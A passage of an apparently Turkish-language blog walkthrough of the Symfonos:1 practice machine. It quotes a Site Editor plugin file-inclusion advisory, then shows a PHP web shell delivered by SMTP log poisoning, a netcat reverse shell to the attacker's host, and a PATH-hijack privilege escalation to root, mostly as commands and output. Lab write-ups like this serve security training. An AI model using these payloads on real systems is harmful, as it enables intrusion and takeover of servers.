is_file( $_REQUEST[&#039;ajax_path&#039;] ) &amp;&amp; file_exists( $_REQUEST[&#039;ajax_path&#039;] ) ){\n    require_once $_REQUEST[&#039;ajax_path&#039;];\n}\n\nhttps:\/\/plugins.trac.wordpress.org\/browser\/site-editor\/trunk\/editor\/extensions\/pagebuilder\/includes\/ajax_shortcode_pattern.php?rev=1640500#L5\n\nBy providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.\n\n** Proof of Concept **\nhttp:\/\/&lt;host&gt;\/wp-content\/plugins\/site-editor\/editor\/extensions\/pagebuilder\/includes\/ajax_shortcode_pattern.php?ajax_path=\/etc\/passwd\n\n** Solution **\nNo fix available yet.\n\n** Timeline **\n03\/01\/2018: author contacted through siteeditor.org&#039;s contact form; no reply\n16\/01\/2018: issue report filled on the public GitHub page with no technical details\n18\/01\/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us &quot;another&quot; e-mail\n19\/01\/2018: report sent; author says he will fix this issue &quot;very soon&quot;\n31\/01\/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply\n14\/02\/2018: WP Plugins team contacted; no reply\n06\/03\/2018: vendor contacted; no reply\n07\/03\/2018: vendor contacted; no reply\n15\/03\/2018: public disclosure\n\n** Credits **\nVulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).\n\n--\nBest Regards,\n\nNicolas Buzy-Debat\nOrange Cyberdefense Singapore (CERT-LEXSI)       <\/code><\/pre>\n<p>Evet tam tahmin etti\u011fim gibi. SMTP ile log zehirlemesi ger\u00e7ekle\u015ftirece\u011fiz. Dok\u00fcmanda yazd\u0131\u011f\u0131 gibi <strong><a href=\"http:\/\/192.168.31.140\/h3l105\/wp-content\/plugins\/site-editor\/editor\/extensions\/pagebuilder\/includes\/ajax_shortcode_pattern.php?ajax_path=\/etc\/passwd\">http:\/\/192.168.31.140\/h3l105\/wp-content\/plugins\/site-editor\/editor\/extensions\/pagebuilder\/includes\/ajax_shortcode_pattern.php?ajax_path=\/etc\/passwd<\/a><\/strong> adresine gitti\u011fimde a\u015fa\u011f\u0131daki \u00e7\u0131kt\u0131y\u0131 ald\u0131m yani lfi \u00e7al\u0131\u015f\u0131yor.<\/p>\n<pre><code class=\"language-sh\">root:x:0:0:root:\/root:\/bin\/bash daemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin bin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin sys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin sync:x:4:65534:sync:\/bin:\/bin\/sync games:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin man:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin lp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin mail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin news:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin uucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin proxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin www-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin backup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin list:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin irc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin nobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:\/run\/systemd:\/bin\/false systemd-network:x:101:103:systemd Network Management,,,:\/run\/systemd\/netif:\/bin\/false systemd-resolve:x:102:104:systemd Resolver,,,:\/run\/systemd\/resolve:\/bin\/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:\/run\/systemd:\/bin\/false _apt:x:104:65534::\/nonexistent:\/bin\/false Debian-exim:x:105:109::\/var\/spool\/exim4:\/bin\/false messagebus:x:106:111::\/var\/run\/dbus:\/bin\/false sshd:x:107:65534::\/run\/sshd:\/usr\/sbin\/nologin helios:x:1000:1000:,,,:\/home\/helios:\/bin\/bash mysql:x:108:114:MySQL Server,,,:\/nonexistent:\/bin\/false postfix:x:109:115::\/var\/spool\/postfix:\/bin\/false {&quot;success&quot;:true,&quot;data&quot;:{&quot;output&quot;:[]}}<\/code><\/pre>\n<p>Bunun zerine smtp ile mail g\u00f6ndermeyi denedim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/Documents\/tool\/lfi-project]\n\u2514\u2500# nc 192.168.31.140 25\n220 symfonos.localdomain ESMTP Postfix (Debian\/GNU)\nMAIL FROM: kuday@kuday.com\n250 2.1.0 Ok\nRCPT TO: helios\n250 2.1.5 Ok\ndata\n354 End data with &lt;CR&gt;&lt;LF&gt;.&lt;CR&gt;&lt;LF&gt;\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n.\n250 2.0.0 Ok: queued as 06258406D2\n<\/code><\/pre>\n<p>Bunun \u00fczerine <strong><a href=\"http:\/\/192.168.31.140\/h3l105\/wp-content\/plugins\/site-editor\/editor\/extensions\/pagebuilder\/includes\/ajax_shortcode_pattern.php?ajax_path=\/var\/mail\/helios&amp;cmd=cat%20\/etc\/passwd\">http:\/\/192.168.31.140\/h3l105\/wp-content\/plugins\/site-editor\/editor\/extensions\/pagebuilder\/includes\/ajax_shortcode_pattern.php?ajax_path=\/var\/mail\/helios&cmd=cat%20\/etc\/passwd<\/a><\/strong> adresine gittim ve komut \u00e7al\u0131\u015ft\u0131rabildim. Sonras\u0131nda reverse shell ald\u0131m. Http hali a\u015fa\u011f\u0131dad\u0131r.<\/p>\n<pre><code class=\"language-http\">GET \/h3l105\/wp-content\/plugins\/site-editor\/editor\/extensions\/pagebuilder\/includes\/ajax_shortcode_pattern.php?ajax_path=\/var\/mail\/helios&amp;cmd=nc+192.168.31.102+1822+-e+\/bin\/bash HTTP\/1.1\nHost: 192.168.31.140\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\n<\/code><\/pre>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/Documents\/tool\/lfi-project]\n\u2514\u2500# nc -lvp 1822\nlistening on [any] 1822 ...\nconnect to [192.168.31.102] from symfonos.local [192.168.31.140] 43380\nwhoami\nhelios\nwhich python\n\/usr\/bin\/python\npython -c &#039;import pty; pty.spawn(&quot;\/bin\/bash&quot;)&#039;\n&lt;ite-editor\/editor\/extensions\/pagebuilder\/includes$ \n\n&lt;ite-editor\/editor\/extensions\/pagebuilder\/includes$ pwd\npwd\n\/var\/www\/html\/h3l105\/wp-content\/plugins\/site-editor\/editor\/extensions\/pagebuilder\/includes\n&lt;ite-editor\/editor\/extensions\/pagebuilder\/includes$ sudo -l\nsudo -l\nbash: sudo: command not found\n&lt;ite-editor\/editor\/extensions\/pagebuilder\/includes$ cd \/tmp\ncd \/tmp\nhelios@symfonos:\/tmp$ ls\nls\nhelios@symfonos:\/tmp$ cd \/home\ncd \/home\nhelios@symfonos:\/home$ ls\nls\nhelios\nhelios@symfonos:\/home$ cd \/tmp \ncd \/tmp\nhelios@symfonos:\/tmp$ <\/code><\/pre>\n<p>Her zaman kulland\u0131\u011f\u0131m lse.sh scriptini enum yapmak i\u00e7in i\u00e7eri gnderdim.<\/p>\n<pre><code class=\"language-sh\">helios@symfonos:\/tmp$ wget http:\/\/192.168.31.102:1111\/lse.sh\nwget http:\/\/192.168.31.102:1111\/lse.sh\n--2021-06-24 17:53:08--  http:\/\/192.168.31.102:1111\/lse.sh\nConnecting to 192.168.31.102:1111... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 41177 (40K) [text\/x-sh]\nSaving to: &#039;lse.sh&#039;\n\nlse.sh              100%[===================&gt;]  40.21K  --.-KB\/s    in 0s      \n\n2021-06-24 17:53:08 (364 MB\/s) - &#039;lse.sh&#039; saved [41177\/41177]\n\nhelios@symfonos:\/tmp$ chmod 777 lse.sh\nchmod 777 lse.sh\nhelios@symfonos:\/tmp$ .\/lse.sh -l2 &gt;&gt; result\n<\/code><\/pre>\n<p>Sonu\u00e7lar\u0131 okurken a\u015fa\u011f\u0131daki sonu\u00e7la kar\u015f\u0131la\u015ft\u0131m.<\/p>\n<pre><code>---\n[*] fst010 Binaries with setuid bit.....................--More--(39%) \n................... yes!\n---\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/bin\/passwd\n\/usr\/bin\/gpasswd\n\/usr\/bin\/newgrp\n\/usr\/bin\/chsh\n\/usr\/bin\/chfn\n\/opt\/statuscheck\n\/bin\/mount\n\/bin\/umount\n\/bin\/su\n\/bin\/ping\n---\n[!] fst020 Uncommon setuid binaries........................................ yes!\n---\n\/opt\/statuscheck\n---<\/code><\/pre>\n<p>Program\u0131 \u00e7al\u0131\u015ft\u0131rd\u0131\u011f\u0131mda <strong>curl<\/strong> ile istek at\u0131yor gibiydi.<\/p>\n<pre><code class=\"language-sh\">helios@symfonos:\/tmp$ \/opt\/statuscheck\n\/opt\/statuscheck\nHTTP\/1.1 200 OK\nDate: Thu, 24 Jun 2021 22:56:42 GMT\nServer: Apache\/2.4.25 (Debian)\nLast-Modified: Sat, 29 Jun 2019 00:38:05 GMT\nETag: &quot;148-58c6b9bb3bc5b&quot;\nAccept-Ranges: bytes\nContent-Length: 328\nVary: Accept-Encoding\nContent-Type: text\/html\n\nhelios@symfonos:\/tmp$ <\/code><\/pre>\n<p><strong>strings<\/strong> ile i\u00e7ine bakmay\u0131 denedim ve curl'\u00fc \u00e7a\u011f\u0131rd\u0131\u011f\u0131n\u0131 g\u00f6rd\u00fcm. Bundan sonras\u0131 kolayd\u0131.<\/p>\n<pre><code class=\"language-sh\">helios@symfonos:\/tmp$ strings \/opt\/statuscheck\nstrings \/opt\/statuscheck\n\/lib64\/ld-linux-x86-64.so.2\nlibc.so.6\nsystem\n__cxa_finalize\n__libc_start_main\n_ITM_deregisterTMCloneTable\n__gmon_start__\n_Jv_RegisterClasses\n_ITM_registerTMCloneTable\nGLIBC_2.2.5\ncurl -I H\nhttp:\/\/lH\nocalhostH\nAWAVA\nAUATL\n[]A\\A]A^A_\n;*3$&quot;\nGCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516\ncrtstuff.c\n__JCR_LIST__\nderegister_tm_clones\n__do_global_dtors_aux\ncompleted.6972\n__do_global_dtors_aux_fini_array_entry\nframe_dummy\n__frame_dummy_init_array_entry\nprog.c\n__FRAME_END__\n__JCR_END__\n__init_array_end\n_DYNAMIC\n__init_array_start\n__GNU_EH_FRAME_HDR\n_GLOBAL_OFFSET_TABLE_\n__libc_csu_fini\n_ITM_deregisterTMCloneTable\n_edata\nsystem@@GLIBC_2.2.5\n__libc_start_main@@GLIBC_2.2.5\n__data_start\n__gmon_start__\n__dso_handle\n_IO_stdin_used\n__libc_csu_init\n__bss_start\nmain\n_Jv_RegisterClasses\n__TMC_END__\n_ITM_registerTMCloneTable\n__cxa_finalize@@GLIBC_2.2.5\n.symtab\n.strtab\n.shstrtab\n.interp\n.note.ABI-tag\n.note.gnu.build-id\n.gnu.hash\n.dynsym\n.dynstr\n.gnu.version\n.gnu.version_r\n.rela.dyn\n.rela.plt\n.init\n.plt.got\n.text\n.fini\n.rodata\n.eh_frame_hdr\n.eh_frame\n.init_array\n.fini_array\n.jcr\n.dynamic\n.got.plt\n.data\n.bss\n.comment\nhelios@symfonos:\/tmp$ \n<\/code><\/pre>\n<p>Hadi PATH'i manip\u00fcle edelim.<\/p>\n<pre><code class=\"language-sh\">helios@symfonos:\/tmp$ touch curl\ntouch curl\nhelios@symfonos:\/tmp$ echo &#039;whoami&#039; &gt;&gt; curl\necho &#039;whoami&#039; &gt;&gt; curl\nhelios@symfonos:\/tmp$ \n\nhelios@symfonos:\/tmp$ chmod 777 curl\nchmod 777 curl\nhelios@symfonos:\/tmp$ \n\nhelios@symfonos:\/tmp$ \/opt\/statuscheck\n\/opt\/statuscheck\nHTTP\/1.1 200 OK\nDate: Thu, 24 Jun 2021 22:58:05 GMT\nServer: Apache\/2.4.25 (Debian)\nLast-Modified: Sat, 29 Jun 2019 00:38:05 GMT\nETag: &quot;148-58c6b9bb3bc5b&quot;\nAccept-Ranges: bytes\nContent-Length: 328\nVary: Accept-Encoding\nContent-Type: text\/html\n\nhelios@symfonos:\/tmp$ echo $PATH\necho $PATH\n\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\nhelios@symfonos:\/tmp$ export PATH=\/tmp:$PATH\nexport PATH=\/tmp:$PATH\nhelios@symfonos:\/tmp$ \n\nhelios@symfonos:\/tmp$ echo $PATH\necho $PATH\n\/tmp:\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\nhelios@symfonos:\/tmp$ \n\nhelios@symfonos:\/tmp$ \/opt\/statuscheck\n\/opt\/statuscheck\nroot\n<\/code><\/pre>\n<p>Evet root olduk! \u015eidmi flagi okuyal\u0131m.<\/p>\n<pre><code class=\"language-sh\">helios@symfonos:\/tmp$ echo &#039;ls -l \/root&#039; &gt; curl\necho &#039;ls -l \/root&#039; &gt; curl\nhelios@symfonos:\/tmp$ \/opt\/statuscheck\n\/opt\/statuscheck\ntotal 4\n-rw-r--r-- 1 root root 1735 Jun 28  2019 proof.txt\nhelios@symfonos:\/tmp$ \n\nhelios@symfonos:\/tmp$ echo &#039;cat \/root\/proof.txt&#039; &gt; curl\necho &#039;cat \/root\/proof.txt&#039; &gt; curl\nhelios@symfonos:\/tmp$ \/opt\/statuscheck\n\/opt\/statuscheck\n\n    Congrats on rooting symfonos:1!\n\n                 \\ __\n--==\/\/\/\/\/\/\/\/\/\/\/\/\/[})))==*\n                 \/ \\ &#039;          ,|\n                    `\\`\\      \/\/|                             ,|\n                      \\ `\\  \/\/,\/&#039;                           -~ |\n   )             _-~~~\\  |\/ \/ |&#039;|                       _-~  \/ ,\n  ((            \/&#039; )   | \\ \/ \/&#039;\/                    _-~   _\/_-~|\n (((            ;  \/`  &#039; )\/ \/&#039;&#039;                 _ -~     _-~ ,\/&#039;\n ) ))           `~~\\   `\\\\\/&#039;\/|&#039;           __--~~__--\\ _-~  _\/, \n((( ))            \/ ~~    \\ \/~      __--~~  --~~  __\/~  _-~ \/\n ((\\~\\           |    )   | &#039;      \/        __--~~  \\-~~ _-~\n    `\\(\\    __--(   _\/    |&#039;\\     \/     --~~   __--~&#039; _-~ ~|\n     (  ((~~   __-~        \\~\\   \/     ___---~~  ~~\\~~__--~ \n      ~~\\~~~~~~   `\\-~      \\~\\ \/           __--~~~&#039;~~\/\n                   ;\\ __.-~  ~-\/      ~~~~~__\\__---~~ _..--._\n                   ;;;;;;;;&#039;  \/      ---~~~\/_.-----.-~  _.._ ~\\     \n                  ;;;;;;;&#039;   \/      ----~~\/         `\\,~    `\\ \\        \n                  ;;;;&#039;     (      ---~~\/         `:::|       `\\\\.      \n                  |&#039;  _      `----~~~~&#039;      \/      `:|        ()))),      \n            ______\/\\\/~    |                 \/        \/         (((((())  \n          \/~;;.____\/;;&#039;  \/          ___.---(   `;;;\/             )))&#039;`))\n         \/ \/\/  _;______;&#039;------~~~~~    |;;\/\\    \/                ((   ( \n        \/\/  \\ \\                        \/  |  \\;;,\\                 `   \n       (&lt;_    \\ \\                    \/&#039;,\/-----&#039;  _&gt; \n        \\_|     \\\\_                 \/\/~;~~~~~~~~~ \n                 \\_|               (,~~   \n                                    \\~\\\n                                     ~~\n\n    Contact me via Twitter @zayotic to give feedback!\n\nhelios@symfonos:\/tmp$ \n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: Back to the Top Beginner real life based machine designed to teach a interesting way of obtaining a low priv shell.&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/06\/24\/symfonos-1\/\">Devam\u0131n\u0131 oku<span class=\"screen-reader-text\">SYMFONOS: 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[530,500,529,531,524],"class_list":["post-1248","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-medusa","tag-samba","tag-smb","tag-smbclient","tag-smtp","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1248","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1248"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1248\/revisions"}],"predecessor-version":[{"id":1250,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1248\/revisions\/1250"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1248"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1248"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1248"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}